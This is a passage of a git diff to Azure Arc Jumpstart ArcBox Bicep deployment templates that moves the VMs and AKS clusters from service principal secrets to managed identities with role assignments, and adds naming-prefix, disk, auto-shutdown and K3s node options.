environment().authentication.loginEndpoint -@description('Tenant id of the service principal') -param spnTenantId string +@description('Your Microsoft Entra tenant Id') +param tenantId string param azdataUsername string = 'arcdemo' @secure() -param azdataPassword string = 'ArcPassword123!!' +param azdataPassword string param acceptEula string = 'yes' param registryUsername string = 'registryUser' @secure() -param registryPassword string = 'registrySecret' +param registryPassword string = newGuid() param arcDcName string = 'arcdatactrl' param mssqlmiName string = 'arcsqlmidemo' @@ -69,6 +65,15 @@ param workspaceName string @description('The base URL used for accessing artifacts and automation artifacts.') param templateBaseUrl string +@description('Tags to assign for all ArcBox resources') +param resourceTags object = { + Solution: 'jumpstart_arcbox' +} + +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' + @description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') @allowed([ 'Full' @@ -84,24 +89,42 @@ param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') param githubUser string +@description('Git branch to use from the forked repo https://github.com/microsoft/azure-arc-jumpstart-apps') +param githubBranch string + @description('The name of the K3s cluster') -param k3sArcClusterName string = 'ArcBox-K3s' +param k3sArcClusterName string = '${namingPrefix}-K3s' @description('The name of the AKS cluster') -param aksArcClusterName string = 'ArcBox-AKS-Data' +param aksArcClusterName string = '${namingPrefix}-AKS-Data' @description('The name of the AKS DR cluster') -param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' +param aksdrArcClusterName string = '${namingPrefix}-AKS-DR-Data' + +@description('Domain name for the jumpstart environment') +param addsDomainName string = 'jumpstart.local' +@description('The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor.') +param customLocationRPOID string = '' -var bastionName = 'ArcBox-Bastion' +@description('The SKU of the VMs disk') +param vmsDiskSku string = 'Premium_LRS' + +@description('Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Default is false.') +param debugEnabled bool = false + +param autoShutdownEnabled bool = false +param autoShutdownTime string = '1800' // The time for auto-shutdown in HHmm format (24-hour clock) +param autoShutdownTimezone string = 'UTC' // Timezone for the auto-shutdown +param autoShutdownEmailRecipient string = '' + +var bastionName = '${namingPrefix}-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' var PublicIPNoBastion = { id: publicIpAddress.id } - resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { name: networkInterfaceName location: location @@ -114,7 +137,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion == false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion == false ? PublicIPNoBastion : null } } ] @@ -134,13 +157,30 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if ( } } +resource vmDisk 'Microsoft.Compute/disks@2023-04-02' = { + location: location + name: '${vmName}-VMsDisk' + sku: { + name: vmsDiskSku + } + properties: { + creationData: { + createOption: 'Empty' + } + diskSizeGB: 1024 + burstingEnabled: true + } +} + resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: location - tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { - vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D8s_v4' : 'Standard_D16s_v4' + vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D4s_v5' : 'Standard_D8s_v5' } storageProfile: { osDisk: { @@ -158,6 +198,15 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { sku: windowsOSVersion version: 'latest' } + dataDisks: [ + { + createOption: 'Attach' + lun: 0 + managedDisk: { + id: vmDisk.id + } + } + ] } networkProfile: { networkInterfaces: [ @@ -183,7 +232,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = name: 'Bootstrap' location: location tags: { - displayName: 'config-choco' + displayName: 'config-bootstrap' } properties: { publisher: 'Microsoft.Compute' @@ -194,8 +243,63 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -tenantId ${tenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -githubBranch ${githubBranch} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID} -resourceTags ${resourceTags} -namingPrefix ${namingPrefix} -debugEnabled ${debugEnabled}' + } + } +} + +// Add role assignment for the VM: Azure Key Vault Secret Officer role +resource vmRoleAssignment_KeyVaultAdministrator 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Administrator') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483') + principalType: 'ServicePrincipal' + + } +} + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + principalType: 'ServicePrincipal' + } +} + +// Add role assignment for the VM: Storage Blob Data Contributor +resource vmRoleAssignment_Storage 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe') + principalType: 'ServicePrincipal' + } +} + +resource autoShutdown 'Microsoft.DevTestLab/schedules@2018-09-15' = if (autoShutdownEnabled) { + name: 'shutdown-computevm-${vm.name}' + location: location + properties: { + status: 'Enabled' + taskType: 'ComputeVmShutdownTask' + dailyRecurrence: { + time: autoShutdownTime + } + timeZoneId: autoShutdownTimezone + notificationSettings: { + status: 'Enabled' + timeInMinutes: 30 + webhookUrl: '' + emailRecipient: autoShutdownEmailRecipient + notificationLocale: 'en' } + targetResourceId: vm.id } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index 6385ad3ddb..ac931928cb 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -1,8 +1,8 @@ @description('The name of the Kubernetes cluster resource') -param aksClusterName string = 'ArcBox-AKS-Data' +param aksClusterName string = '${namingPrefix}-AKS-Data' @description('The name of the Kubernetes cluster resource') -param drClusterName string = 'ArcBox-AKS-DR-Data' +param drClusterName string = '${namingPrefix}-AKS-DR-Data' @description('The location of the Managed Cluster resource') param location string = resourceGroup().location @@ -29,16 +29,9 @@ param agentVMSize string = 'Standard_D8s_v4' @description('User name for the Linux Virtual Machines') param linuxAdminUsername string = 'arcdemo' -@description('Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example \'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm\'') -param sshRSAPublicKey string - -@description('Client ID (used by cloudprovider)') -@secure() -param spnClientId string - -@description('The Service Principal Client Secret') +@description('RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors.') @secure() -param spnClientSecret string +param sshRSAPublicKey string = '' @description('boolean flag to turn on and off of RBAC') param enableRBAC bool = true @@ -50,20 +43,22 @@ param enableRBAC bool = true param osType string = 'Linux' @description('The version of Kubernetes') -param kubernetesVersion string = '1.28.5' +param kubernetesVersion string = '1.28.9' + +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' -var dockerBridgeCidr_primary = '172.17.0.1/16' var serviceCidr_secondary = '172.20.64.0/19' var dnsServiceIP_secondary = '172.20.64.10' -var dockerBridgeCidr_secondary = '192.168.0.1/16' -var virtualNetworkName = 'ArcBox-VNet' -var aksSubnetName = 'ArcBox-AKS-Subnet' -var drVirtualNetworkName = 'ArcBox-DR-VNet' -var drSubnetName = 'ArcBox-DR-Subnet' +var virtualNetworkName = '${namingPrefix}-VNet' +var aksSubnetName = '${namingPrefix}-AKS-Subnet' +var drVirtualNetworkName = '${namingPrefix}-DR-VNet' +var drSubnetName = '${namingPrefix}-DR-Subnet' -resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: aksClusterName identity: { @@ -97,7 +92,6 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 networkPlugin: 'azure' serviceCidr: serviceCidr_primary dnsServiceIP: dnsServiceIP_primary - dockerBridgeCidr: dockerBridgeCidr_primary } linuxProfile: { adminUsername: linuxAdminUsername @@ -109,14 +103,10 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 ] } } - servicePrincipalProfile: { - clientId: spnClientId - secret: spnClientSecret - } } } -resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: drClusterName identity: { @@ -150,7 +140,6 @@ resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022 networkPlugin: 'azure' serviceCidr: serviceCidr_secondary dnsServiceIP: dnsServiceIP_secondary - dockerBridgeCidr: dockerBridgeCidr_secondary } linuxProfile: { adminUsername: linuxAdminUsername @@ -162,9 +151,27 @@ resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022 ] } } - servicePrincipalProfile: { - clientId: spnClientId - secret: spnClientSecret - } + } +} + +// Add role assignment for the AKS cluster: Owner role +resource aksRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(aksClusterName_resource.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: aksClusterName_resource.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + principalType: 'ServicePrincipal' + } +} + +// Add role assignment for the AKS DR cluster: Owner role +resource aksDRRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(drClusterName_resource.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: drClusterName_resource.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + principalType: 'ServicePrincipal' } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index cf62f179f1..973524e48f 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -1,12 +1,12 @@ @description('The name of you Virtual Machine') -param vmName string = 'ArcBox-K3s' +param vmName string = '${namingPrefix}-K3s' @description('Username for the Virtual Machine') param adminUsername string = 'arcdemo' -@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@description('RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors.') @secure() -param sshRSAPublicKey string +param sshRSAPublicKey string = '' @description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') @allowed([ @@ -23,20 +23,6 @@ param vmSize string = 'Standard_B4ms' @description('Resource Id of the subnet in the virtual network') param subnetId string -param resourceTags object = { - Project: 'jumpstart_arcbox' -} - -@description('Azure service principal client id') -param spnClientId string - -@description('Azure service principal client secret') -@secure() -param spnClientSecret string - -@description('Azure AD tenant id for your service principal') -param spnTenantId string - @description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') param stagingStorageAccountName string @@ -46,38 +32,31 @@ param logAnalyticsWorkspace string @description('The base URL used for accessing artifacts and automation artifacts') param templateBaseUrl string -@description('Choice to deploy Bastion to connect to the client VM') -param deployBastion bool = false +@description('Storage account container name for artifacts') +param storageContainerName string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' var publicIpAddressName = '${vmName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} - +var k3sControlPlane = 'true' // deploy single-node k3s control plane +var diskSize = (flavor == 'DataOps') ? 512 : 64 +var numberOfIPAddresses = (flavor == 'DataOps') ? 8 : 5 // The number of IP addresses to create -resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { - name: networkInterfaceName - location: azureLocation - properties: { - ipConfigurations: [ - { - name: 'ipconfig1' - properties: { - subnet: { - id: subnetId - } - privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') - } - } - ] - } -} - -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName +// Create multiple public IP addresses if deployBastion is false +resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { + name: '${publicIpAddressName}${i}' location: azureLocation properties: { publicIPAllocationMethod: 'Static' @@ -87,12 +66,35 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(d sku: { name: 'Basic' } +}] + +// Create multiple NIC IP configurations and assign the public IP to the IP configuration if deployBastion is false +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [for i in range(1, numberOfIPAddresses): { + name: 'ipconfig${i}' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + publicIPAddress: { + id: publicIpAddresses[i-1].id + } + primary: i == 1 ? true : false + } + }] + } } resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation - tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -105,6 +107,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -138,6 +141,28 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + principalType: 'ServicePrincipal' + } +} + +// Add role assignment for the VM: Storage Blob Data Contributor +resource vmRoleAssignment_Storage 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe') + principalType: 'ServicePrincipal' + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -149,10 +174,14 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${deployBastion}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] } } + dependsOn: [ + vmRoleAssignment_Owner + vmRoleAssignment_Storage + ] } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep similarity index 57% rename from azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep rename to azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index cea1f08a46..190bf55d2a 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -1,15 +1,12 @@ @description('The name of you Virtual Machine') -param vmName string = 'ArcBox-CAPI-MGMT' - -@description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param vmName string = '${namingPrefix}-K3s-Node' @description('Username for the Virtual Machine') param adminUsername string = 'arcdemo' -@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@description('RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors.') @secure() -param sshRSAPublicKey string +param sshRSAPublicKey string = '' @description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') @allowed([ @@ -17,29 +14,12 @@ param sshRSAPublicKey string ]) param ubuntuOSVersion string = '22_04-lts-gen2' -@description('Location for all resources') +@description('Location for all resources.') param azureLocation string = resourceGroup().location -@description('The size of the VM') -param vmSize string = 'Standard_B4ms' - @description('Resource Id of the subnet in the virtual network') param subnetId string -param resourceTags object = { - Project: 'jumpstart_arcbox' -} - -@description('Azure service principal client id') -param spnClientId string - -@description('Azure service principal client secret') -@secure() -param spnClientSecret string - -@description('Azure AD tenant id for your service principal') -param spnTenantId string - @description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') param stagingStorageAccountName string @@ -49,24 +29,25 @@ param logAnalyticsWorkspace string @description('The base URL used for accessing artifacts and automation artifacts') param templateBaseUrl string -@description('Choice to deploy Bastion to connect to the client VM') -param deployBastion bool = false - @description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') @allowed([ - 'Full' 'ITPro' 'DevOps' 'DataOps' ]) param flavor string -var publicIpAddressName = '${vmName}-PIP' +@description('Storage account container name for artifacts') +param storageContainerName string + +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' + var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} +var vmSize = (flavor == 'DevOps') ? 'Standard_B2ms' : 'Standard_B8ms' +var diskSize = (flavor == 'DataOps') ? 512 : 64 resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { name: networkInterfaceName @@ -80,30 +61,18 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') } } ] } } -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName - location: azureLocation - properties: { - publicIPAllocationMethod: 'Static' - publicIPAddressVersion: 'IPv4' - idleTimeoutInMinutes: 4 - } - sku: { - name: 'Basic' - } -} - resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation - tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -116,6 +85,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -149,9 +119,31 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } -resource vmInstallscriptCAPI 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + principalType: 'ServicePrincipal' + } +} + +// Add role assignment for the VM: Storage Blob Data Contributor +resource vmRoleAssignment_Storage 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe') + principalType: 'ServicePrincipal' + } +} + +resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm - name: 'installscript_CAPI' + name: 'installscript_k3s' location: azureLocation properties: { publisher: 'Microsoft.Azure.Extensions' @@ -160,10 +152,14 @@ resource vmInstallscriptCAPI 'Microsoft.Compute/virtualMachines/extensions@2022- autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installCAPI.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${capiArcDataClusterName} ${templateBaseUrl} ${flavor}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' fileUris: [ - '${templateBaseUrl}artifacts/installCAPI.sh' + '${templateBaseUrl}artifacts/installK3s.sh' ] } } + dependsOn: [ + vmRoleAssignment_Owner + vmRoleAssignment_Storage + ] } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 580683ea2e..341de0066d 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -1,16 +1,9 @@ -@description('RSA public key used for securing SSH access to ArcBox resources') +@description('RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors.') @secure() -param sshRSAPublicKey string +param sshRSAPublicKey string = '' -@description('Azure service principal client id') -param spnClientId string - -@description('Azure service principal client secret') -@secure() -param spnClientSecret string - -@description('Azure AD tenant id for your service principal') -param spnTenantId string +@description('Your Microsoft Entra tenant Id') +param tenantId string = tenant().tenantId @description('Username for Windows account') param windowsAdminUsername string @@ -21,17 +14,22 @@ param windowsAdminUsername string @secure() param windowsAdminPassword string +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = true + +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Name for your log analytics workspace') param logAnalyticsWorkspaceName string @description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\', \'DevOps\', \'DataOps\'') @allowed([ - 'Full' 'ITPro' 'DevOps' 'DataOps' ]) -param flavor string = 'Full' +param flavor string = 'ITPro' @description('Target GitHub account') param githubAccount string = 'microsoft' @@ -42,6 +40,14 @@ param githubBranch string = 'main' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false +@description('Bastion host Sku name. The Developer SKU is currently supported in a limited number of regions: https://learn.microsoft.com/azure/bastion/quickstart-developer-sku') +@allowed([ + 'Basic' + 'Standard' + 'Developer' +]) +param bastionSku string = 'Basic' + @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') param githubUser string = 'microsoft' @@ -51,75 +57,141 @@ param addsDomainName string = 'jumpstart.local' @description('Random GUID for cluster names') param guid string = substring(newGuid(),0,4) +@description('Azure location to deploy all resources') +param location string = resourceGroup().location + +@description('The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor.') +param customLocationRPOID string = newGuid() + +@description('Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Intended for use when troubleshooting automation scripts. Default is false.') +param debugEnabled bool = false + +@description('Tags to assign for all ArcBox resources') +param resourceTags object = { + Solution: 'jumpstart_arcbox' +} + +@maxLength(7) +@description('The naming prefix for the nested virtual machines and all Azure resources deployed. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`') +param namingPrefix string = 'ArcBox' + +param autoShutdownEnabled bool = false +param autoShutdownTime string = '1800' // The time for auto-shutdown in HHmm format (24-hour clock) +param autoShutdownTimezone string = 'UTC' // Timezone for the auto-shutdown +param autoShutdownEmailRecipient string = '' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' +var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' +var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' +var k3sArcDataClusterName = '${namingPrefix}-K3s-Data-${guid}' +var k3sArcClusterName = '${namingPrefix}-K3s-${guid}' +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster -var location = resourceGroup().location -var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' -var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' -var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' -var aksDrArcDataClusterName = 'ArcBox-AKS-DR-Data-${guid}' +module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'DevOps' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcDeployment' + params: { + sshRSAPublicKey: sshRSAPublicKey + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + vmName : k3sArcDataClusterName + storageContainerName: toLower(k3sArcDataClusterName) + flavor: flavor + namingPrefix: namingPrefix + } +} -module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { - name: 'ubuntuCAPIDeployment' +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'DataOps' || flavor == 'DevOps') { + name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' params: { sshRSAPublicKey: sshRSAPublicKey - spnClientId: spnClientId - spnClientSecret: spnClientSecret - spnTenantId: spnTenantId - 